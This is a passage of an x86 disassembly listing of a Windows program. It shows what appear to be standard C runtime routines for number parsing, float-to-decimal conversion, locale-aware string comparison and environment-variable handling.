XREF: sub_435381+2A4j push 8 jmp short loc_435651 ; --------------------------------------------------------------------------- loc_4355EC: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o mov [ebp+var_20], edx ; jumptable 004353E4 case 8 loc_4355EF: ; CODE XREF: sub_435381+276j cmp bl, 30h jnz short loc_4355F9 mov bl, [edi] inc edi jmp short loc_4355EF ; --------------------------------------------------------------------------- loc_4355F9: ; CODE XREF: sub_435381+271j cmp bl, 31h jl loc_4356F4 cmp bl, 39h jg loc_4356F4 jmp short loc_435617 ; --------------------------------------------------------------------------- loc_43560D: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o cmp bl, 31h ; jumptable 004353E4 case 7 jl short loc_435620 cmp bl, 39h jg short loc_435620 loc_435617: ; CODE XREF: sub_435381+250j ; sub_435381+28Aj push 9 loc_435619: ; CODE XREF: sub_435381+76j pop eax loc_43561A: ; CODE XREF: sub_435381+240j dec edi jmp loc_4353D8 ; --------------------------------------------------------------------------- loc_435620: ; CODE XREF: sub_435381+28Fj ; sub_435381+294j cmp bl, 30h jnz short loc_435669 jmp short loc_4355E8 ; --------------------------------------------------------------------------- loc_435627: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o cmp [ebp+arg_18], 0 ; jumptable 004353E4 case 11 jz short loc_435657 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_43564F dec eax dec eax jnz loc_4356F7 loc_435643: ; CODE XREF: sub_435381+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4353D8 ; --------------------------------------------------------------------------- loc_43564F: ; CODE XREF: sub_435381+258j ; sub_435381+2B8j push 7 loc_435651: ; CODE XREF: sub_435381+85j ; sub_435381+103j ... pop eax jmp loc_4353D8 ; --------------------------------------------------------------------------- loc_435657: ; CODE XREF: sub_435381+2AAj push 0Ah dec edi pop eax loc_43565B: ; CODE XREF: sub_435381+5Dj ; sub_435381+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 004353E4 case 10 jz loc_4356F9 jmp loc_4353D8 ; --------------------------------------------------------------------------- loc_435669: ; CODE XREF: sub_435381+12Dj ; sub_435381+238j ... mov edi, [ebp+arg_8] jmp loc_4356F9 ; --------------------------------------------------------------------------- loc_435671: ; CODE XREF: sub_435381+63j ; DATA XREF: .text:off_435822o mov [ebp+var_20], 1 ; jumptable 004353E4 case 9 xor esi, esi loc_43567A: ; CODE XREF: sub_435381+339j cmp dword_4535C4, 1 jle short loc_435692 movzx eax, bl push 4 push eax call sub_42F12B pop ecx pop ecx jmp short loc_4356A1 ; --------------------------------------------------------------------------- loc_435692: ; CODE XREF: sub_435381+300j mov ecx, off_4533B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4356A1: ; CODE XREF: sub_435381+30Fj test eax, eax jz short loc_4356C1 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4356BC mov bl, [edi] inc edi jmp short loc_43567A ; --------------------------------------------------------------------------- loc_4356BC: ; CODE XREF: sub_435381+334j mov esi, 1451h loc_4356C1: ; CODE XREF: sub_435381+322j mov [ebp+var_1C], esi loc_4356C4: ; CODE XREF: sub_435381+371j cmp dword_4535C4, 1 jle short loc_4356DC movzx eax, bl push 4 push eax call sub_42F12B pop ecx pop ecx jmp short loc_4356EB ; --------------------------------------------------------------------------- loc_4356DC: ; CODE XREF: sub_435381+34Aj mov ecx, off_4533B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4356EB: ; CODE XREF: sub_435381+359j test eax, eax jz short loc_4356F4 mov bl, [edi] inc edi jmp short loc_4356C4 ; --------------------------------------------------------------------------- loc_4356F4: ; CODE XREF: sub_435381+99j ; sub_435381+E4j ... dec edi jmp short loc_4356F9 ; --------------------------------------------------------------------------- loc_4356F7: ; CODE XREF: sub_435381+261j ; sub_435381+2BCj mov edi, ecx loc_4356F9: ; CODE XREF: sub_435381+2DDj ; sub_435381+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_4357E1 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_435725 cmp [ebp+var_45], 5 jl short loc_435719 inc [ebp+var_45] loc_435719: ; CODE XREF: sub_435381+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_435728 ; --------------------------------------------------------------------------- loc_435725: ; CODE XREF: sub_435381+38Dj mov eax, [ebp+var_C] loc_435728: ; CODE XREF: sub_435381+3A2j cmp [ebp+var_4], 0 jbe loc_4357D7 loc_435732: ; CODE XREF: sub_435381+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_435740 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_435732 ; --------------------------------------------------------------------------- loc_435740: ; CODE XREF: sub_435381+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4352BA mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_43575F neg eax loc_43575F: ; CODE XREF: sub_435381+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_43576A add eax, [ebp+arg_10] loc_43576A: ; CODE XREF: sub_435381+3E4j cmp [ebp+var_24], ecx jnz short loc_435772 sub eax, [ebp+arg_14] loc_435772: ; CODE XREF: sub_435381+3ECj cmp eax, 1450h jle short loc_4357A9 mov [ebp+var_2C], 1 loc_435780: ; CODE XREF: sub_435381+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_43578C: ; CODE XREF: sub_435381+454j ; sub_435381+45Ej cmp [ebp+var_2C], 0 jz short loc_4357F2 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_435807 ; --------------------------------------------------------------------------- loc_4357A9: ; CODE XREF: sub_435381+3F6j cmp eax, 0FFFFEBB0h jge short loc_4357B9 mov [ebp+var_30], 1 jmp short loc_435780 ; --------------------------------------------------------------------------- loc_4357B9: ; CODE XREF: sub_435381+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_436254 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_43578C ; --------------------------------------------------------------------------- loc_4357D7: ; CODE XREF: sub_435381+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_43578C ; --------------------------------------------------------------------------- loc_4357E1: ; CODE XREF: sub_435381+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_435807 ; --------------------------------------------------------------------------- loc_4357F2: ; CODE XREF: sub_435381+40Fj cmp [ebp+var_30], 0 jz short loc_435807 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_435807: ; CODE XREF: sub_435381+426j ; sub_435381+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_435381 endp ; --------------------------------------------------------------------------- off_435822 dd offset loc_4353EB ; DATA XREF: sub_435381+63r dd offset loc_43543A ; jump table for switch statement dd offset loc_435491 dd offset loc_4354BB dd offset loc_435516 dd offset loc_43558D dd offset loc_4355C3 dd offset loc_43560D dd offset loc_4355EC dd offset loc_435671 dd offset loc_43565B dd offset loc_435627 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435852 proc near ; CODE XREF: sub_434593+2Bp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4358B4 mov byte ptr [ebx+2], 2Dh jmp short loc_4358B8 ; --------------------------------------------------------------------------- loc_4358B4: ; CODE XREF: sub_435852+5Aj mov byte ptr [ebx+2], 20h loc_4358B8: ; CODE XREF: sub_435852+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4358DE test edi, edi jnz short loc_4358DE cmp [ebp+arg_0], edi jnz short loc_4358DE loc_4358C9: ; CODE XREF: sub_435852+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_435ADC ; --------------------------------------------------------------------------- loc_4358DE: ; CODE XREF: sub_435852+6Cj ; sub_435852+70j ... cmp dx, si jnz short loc_43595D mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_4358F7 cmp [ebp+arg_0], 0 jz short loc_435906 loc_4358F7: ; CODE XREF: sub_435852+9Dj test edi, 40000000h jnz short loc_435906 push offset dword_437F30 jmp short loc_43594C ; --------------------------------------------------------------------------- loc_435906: ; CODE XREF: sub_435852+A3j ; sub_435852+ABj test cx, cx jz short loc_435920 cmp edi, 0C0000000h jnz short loc_435920 cmp [ebp+arg_0], 0 jnz short loc_435947 push offset dword_437F28 jmp short loc_43592F ; --------------------------------------------------------------------------- loc_435920: ; CODE XREF: sub_435852+B7j ; sub_435852+BFj cmp edi, eax jnz short loc_435947 cmp [ebp+arg_0], 0 jnz short loc_435947 push offset dword_437F20 loc_43592F: ; CODE XREF: sub_435852+CCj lea eax, [ebx+4] push eax call sub_42A5D0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_43593E: ; CODE XREF: sub_435852+109j and [ebp+var_4], 0 jmp loc_435AB5 ; --------------------------------------------------------------------------- loc_435947: ; CODE XREF: sub_435852+C5j ; sub_435852+D0j ... push offset dword_437F18 loc_43594C: ; CODE XREF: sub_435852+B2j lea eax, [ebx+4] push eax call sub_42A5D0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_43593E ; --------------------------------------------------------------------------- loc_43595D: ; CODE XREF: sub_435852+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_436254 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_4359BE lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_436034 pop ecx pop ecx loc_4359BE: ; CODE XREF: sub_435852+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_4359D8 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_4359DB jmp loc_4358C9 ; --------------------------------------------------------------------------- loc_4359D8: ; CODE XREF: sub_435852+173j mov edi, [ebp+arg_C] loc_4359DB: ; CODE XREF: sub_435852+17Fj cmp edi, 15h jle short loc_4359E3 push 15h pop edi loc_4359E3: ; CODE XREF: sub_435852+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_4359F9: ; CODE XREF: sub_435852+1B4j lea eax, [ebp+var_10] push eax call sub_43525F dec [ebp+arg_14] pop ecx jnz short loc_4359F9 test esi, esi jge short loc_435A23 neg esi and esi, 0FFh jle short loc_435A23 loc_435A16: ; CODE XREF: sub_435852+1CFj lea eax, [ebp+var_10] push eax call sub_43528D dec esi pop ecx jnz short loc_435A16 loc_435A23: ; CODE XREF: sub_435852+1B8j ; sub_435852+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_435A80 mov [ebp+arg_C], ecx loc_435A33: ; CODE XREF: sub_435852+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_43525F lea eax, [ebp+var_10] push eax call sub_43525F lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_435201 lea eax, [ebp+var_10] push eax call sub_43525F mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_435A33 mov eax, [ebp+arg_14] loc_435A80: ; CODE XREF: sub_435852+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_435ABD loc_435A8D: ; CODE XREF: sub_435852+248j cmp eax, ecx jb short loc_435AA0 cmp byte ptr [eax], 39h jnz short loc_435A9C mov byte ptr [eax], 30h dec eax jmp short loc_435A8D ; --------------------------------------------------------------------------- loc_435A9C: ; CODE XREF: sub_435852+242j cmp eax, ecx jnb short loc_435AA4 loc_435AA0: ; CODE XREF: sub_435852+23Dj inc eax inc word ptr [ebx] loc_435AA4: ; CODE XREF: sub_435852+24Cj inc byte ptr [eax] loc_435AA6: ; CODE XREF: sub_435852+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_435AB5: ; CODE XREF: sub_435852+F0j mov eax, [ebp+var_4] loc_435AB8: ; CODE XREF: sub_435852+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_435ABD: ; CODE XREF: sub_435852+239j ; sub_435852+275j cmp eax, ecx jb short loc_435ACD cmp byte ptr [eax], 30h jnz short loc_435AC9 dec eax jmp short loc_435ABD ; --------------------------------------------------------------------------- loc_435AC9: ; CODE XREF: sub_435852+272j cmp eax, ecx jnb short loc_435AA6 loc_435ACD: ; CODE XREF: sub_435852+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_435ADC: ; CODE XREF: sub_435852+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_435AB8 sub_435852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435AE5 proc near ; CODE XREF: sub_434C1A+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437F38 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_676C8C, ebx push 1 pop edi jnz short loc_435B58 push edi mov eax, offset dword_437670 push eax push edi push eax push ebx push ebx call dword_4371A0 ; CompareStringW test eax, eax jz short loc_435B35 mov dword_676C8C, edi jmp short loc_435B58 ; --------------------------------------------------------------------------- loc_435B35: ; CODE XREF: sub_435AE5+46j push edi mov eax, offset word_454038 push eax push edi push eax push ebx push ebx call dword_4371A4 ; CompareStringA test eax, eax jz loc_435D4E mov dword_676C8C, 2 loc_435B58: ; CODE XREF: sub_435AE5+31j ; sub_435AE5+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_435B6F push esi push [ebp+arg_8] call sub_435D62 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_435B6F: ; CODE XREF: sub_435AE5+78j cmp [ebp+arg_14], ebx jle short loc_435B84 push [ebp+arg_14] push [ebp+arg_10] call sub_435D62 pop ecx pop ecx mov [ebp+arg_14], eax loc_435B84: ; CODE XREF: sub_435AE5+8Dj mov eax, dword_676C8C cmp eax, 2 jnz short loc_435BA9 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4371A4 ; CompareStringA jmp loc_435D50 ; --------------------------------------------------------------------------- loc_435BA9: ; CODE XREF: sub_435AE5+A7j cmp eax, edi jnz loc_435D4E cmp [ebp+arg_18], ebx jnz short loc_435BBE mov eax, dword_6769B8 mov [ebp+arg_18], eax loc_435BBE: ; CODE XREF: sub_435AE5+CFj cmp esi, ebx jz short loc_435BCB cmp [ebp+arg_14], ebx jnz loc_435C63 loc_435BCB: ; CODE XREF: sub_435AE5+DBj cmp esi, [ebp+arg_14] jnz short loc_435BD8 loc_435BD0: ; CODE XREF: sub_435AE5+13Cj ; sub_435AE5+16Dj push 2 loc_435BD2: ; CODE XREF: sub_435AE5+146j pop eax jmp loc_435D50 ; --------------------------------------------------------------------------- loc_435BD8: ; CODE XREF: sub_435AE5+E9j cmp [ebp+arg_14], edi jle short loc_435BE4 loc_435BDD: ; CODE XREF: sub_435AE5+151j ; sub_435AE5+159j ... mov eax, edi jmp loc_435D50 ; --------------------------------------------------------------------------- loc_435BE4: ; CODE XREF: sub_435AE5+F6j cmp esi, edi jg short loc_435C29 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_4371D8 ; GetCPInfo test eax, eax jz loc_435D4E cmp esi, ebx jle short loc_435C2D cmp [ebp+var_3C], 2 jb short loc_435C29 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_435C29 loc_435C0F: ; CODE XREF: sub_435AE5+142j mov dl, [eax+1] cmp dl, bl jz short loc_435C29 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_435C23 cmp cl, dl jbe short loc_435BD0 loc_435C23: ; CODE XREF: sub_435AE5+138j inc eax inc eax cmp [eax], bl jnz short loc_435C0F loc_435C29: ; CODE XREF: sub_435AE5+101j ; sub_435AE5+120j ... push 3 jmp short loc_435BD2 ; --------------------------------------------------------------------------- loc_435C2D: ; CODE XREF: sub_435AE5+11Aj cmp [ebp+arg_14], ebx jle short loc_435C63 cmp [ebp+var_3C], 2 jb short loc_435BDD lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_435BDD loc_435C40: ; CODE XREF: sub_435AE5+177j mov dl, [eax+1] cmp dl, bl jz short loc_435BDD mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_435C58 cmp cl, dl jbe loc_435BD0 loc_435C58: ; CODE XREF: sub_435AE5+169j inc eax inc eax cmp [eax], bl jnz short loc_435C40 jmp loc_435BDD ; --------------------------------------------------------------------------- loc_435C63: ; CODE XREF: sub_435AE5+E0j ; sub_435AE5+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_437184 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_435D4E mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_429B60 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_435CB2 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_435CB2: ; CODE XREF: sub_435AE5+1B5j cmp [ebp+var_24], ebx jz loc_435D4E push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_437184 call esi ; dword_437184 test eax, eax jz short loc_435D4E push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; dword_437184 mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_435D4E mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_429B60 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_435D1D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_435D1D: ; CODE XREF: sub_435AE5+224j cmp edi, ebx jz short loc_435D4E push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_437184 ; MultiByteToWideChar test eax, eax jz short loc_435D4E push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4371A0 ; CompareStringW jmp short loc_435D50 ; --------------------------------------------------------------------------- loc_435D4E: ; CODE XREF: sub_435AE5+63j ; sub_435AE5+C6j ... xor eax, eax loc_435D50: ; CODE XREF: sub_435AE5+BFj ; sub_435AE5+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_435AE5 endp ; =============== S U B R O U T I N E ======================================= sub_435D62 proc near ; CODE XREF: sub_430D9F+81p ; sub_435AE5+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_435D7F loc_435D72: ; CODE XREF: sub_435D62+1Bj cmp byte ptr [eax], 0 jz short loc_435D7F inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_435D72 loc_435D7F: ; CODE XREF: sub_435D62+Ej ; sub_435D62+13j cmp byte ptr [eax], 0 pop esi jnz short loc_435D8A sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_435D8A: ; CODE XREF: sub_435D62+21j mov eax, edx retn sub_435D62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435D8D proc near ; CODE XREF: sub_434C59+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_435DF1 push 3Dh push [ebp+arg_0] call sub_434794 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_435DF1 cmp [ebp+arg_0], esi jz short loc_435DF1 mov eax, dword_6769EC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_6769F0 jnz short loc_435DD7 push eax call sub_435F6C pop ecx mov dword_6769EC, eax loc_435DD7: ; CODE XREF: sub_435D8D+3Cj cmp eax, edi jnz short loc_435E2F cmp [ebp+arg_4], edi jz short loc_435DF9 cmp dword_6769F4, edi jz short loc_435DF9 call sub_434C59 test eax, eax jz short loc_435E2F loc_435DF1: ; CODE XREF: sub_435D8D+Dj ; sub_435D8D+22j ... or eax, 0FFFFFFFFh loc_435DF4: ; CODE XREF: sub_435D8D+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_435DF9: ; CODE XREF: sub_435D8D+51j ; sub_435D8D+59j cmp ebx, edi jnz loc_435F0D push 4 call sub_4297B8 cmp eax, edi pop ecx mov dword_6769EC, eax jz short loc_435DF1 mov [eax], edi cmp dword_6769F4, edi jnz short loc_435E2F push 4 call sub_4297B8 cmp eax, edi pop ecx mov dword_6769F4, eax jz short loc_435DF1 mov [eax], edi loc_435E2F: ; CODE XREF: sub_435D8D+4Cj ; sub_435D8D+62j ... sub esi, [ebp+arg_0] mov edi, dword_6769EC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_435F14 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_435E8F cmp dword ptr [edi], 0 jz short loc_435E8F test ebx, ebx jz short loc_435E87 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_4298F2 pop ecx loc_435E61: ; CODE XREF: sub_435D8D+E2j cmp dword ptr [edi], 0 jz short loc_435E71 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_435E61 ; --------------------------------------------------------------------------- loc_435E71: ; CODE XREF: sub_435D8D+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_431C83 pop ecx test eax, eax pop ecx jz short loc_435EC1 jmp short loc_435EBC ; --------------------------------------------------------------------------- loc_435E87: ; CODE XREF: sub_435D8D+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_435EC1 ; --------------------------------------------------------------------------- loc_435E8F: ; CODE XREF: sub_435D8D+BDj ; sub_435D8D+C2j test ebx, ebx jnz short loc_435F0D test esi, esi jge short loc_435E99 neg esi loc_435E99: ; CODE XREF: sub_435D8D+108j lea eax, ds:8[esi*4] push eax push edi call sub_431C83 pop ecx test eax, eax pop ecx jz loc_435DF1 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_435EBC: ; CODE XREF: sub_435D8D+F8j mov dword_6769EC, eax loc_435EC1: ; CODE XREF: sub_435D8D+F6j ; sub_435D8D+100j cmp [ebp+arg_4], 0 jz short loc_435F0D push [ebp+arg_0] call sub_4293A0 inc eax inc eax push eax call sub_4297B8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_435F0D push [ebp+arg_0] push esi call sub_42A5D0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_43719C ; SetEnvironmentVariableA push esi call sub_4298F2 pop ecx loc_435F0D: ; CODE XREF: sub_435D8D+6Ej ; sub_435D8D+104j ... xor eax, eax jmp loc_435DF4 sub_435D8D endp ; =============== S U B R O U T I N E ======================================= sub_435F14 proc near ; CODE XREF: sub_435D8D+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_6769EC push edi mov eax, [esi] test eax, eax jz short loc_435F4F mov edi, [esp+8+arg_4] loc_435F26: ; CODE XREF: sub_435F14+39j push edi push eax push [esp+10h+arg_0] call sub_434C1A add esp, 0Ch test eax, eax jnz short loc_435F45 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_435F5F test al, al jz short loc_435F5F loc_435F45: ; CODE XREF: sub_435F14+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_435F26 loc_435F4F: ; CODE XREF: sub_435F14+Cj mov eax, esi sub eax, dword_6769EC sar eax, 2 neg eax loc_435F5C: ; CODE XREF: sub_435F14+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_435F5F: ; CODE XREF: sub_435F14+2Bj ; sub_435F14+2Fj mov eax, esi sub eax, dword_6769EC sar eax, 2 jmp short loc_435F5C sub_435F14 endp ; =============== S U B R O U T I N E ======================================= sub_435F6C proc near ; CODE XREF: sub_435D8D+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_435F7B xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_435F7B: ; CODE XREF: sub_435F6C+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_435F8D loc_435F83: ; CODE XREF: sub_435F6C+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_435F83 loc_435F8D: ; CODE XREF: sub_435F6C+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_4297B8 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_435FAE push 9 call sub_42C67C pop ecx loc_435FAE: ; CODE XREF: sub_435F6C+38j mov eax, [edi] mov ebx, edi loc_435FB2: ; CODE XREF: sub_435F6C+5Bj test eax, eax jz short loc_435FC9 push eax add ebx, 4 call sub_4362D0 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_435FB2 ; --------------------------------------------------------------------------- loc_435FC9: ; CODE XREF: sub_435F6C+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_435F6C endp ; =============== S U B R O U T I N E ======================================= sub_435FD3 proc near ; CODE XREF: sub_434DF9+68p ; sub_434DF9+B9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov esi, 8000h mov ecx, dword_676EE0[ecx*4] lea edx, [ecx+eax*4+4] mov cl, [ecx+eax*4+4] mov al, cl and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_436009 and cl, 7Fh jmp short loc_436016 ; --------------------------------------------------------------------------- loc_436009: ; CODE XREF: sub_435FD3+2Fj cmp [esp+4+arg_4], 4000h jnz short loc_436024 or cl, 80h loc_436016: ; CODE XREF: sub_435FD3+34j neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; 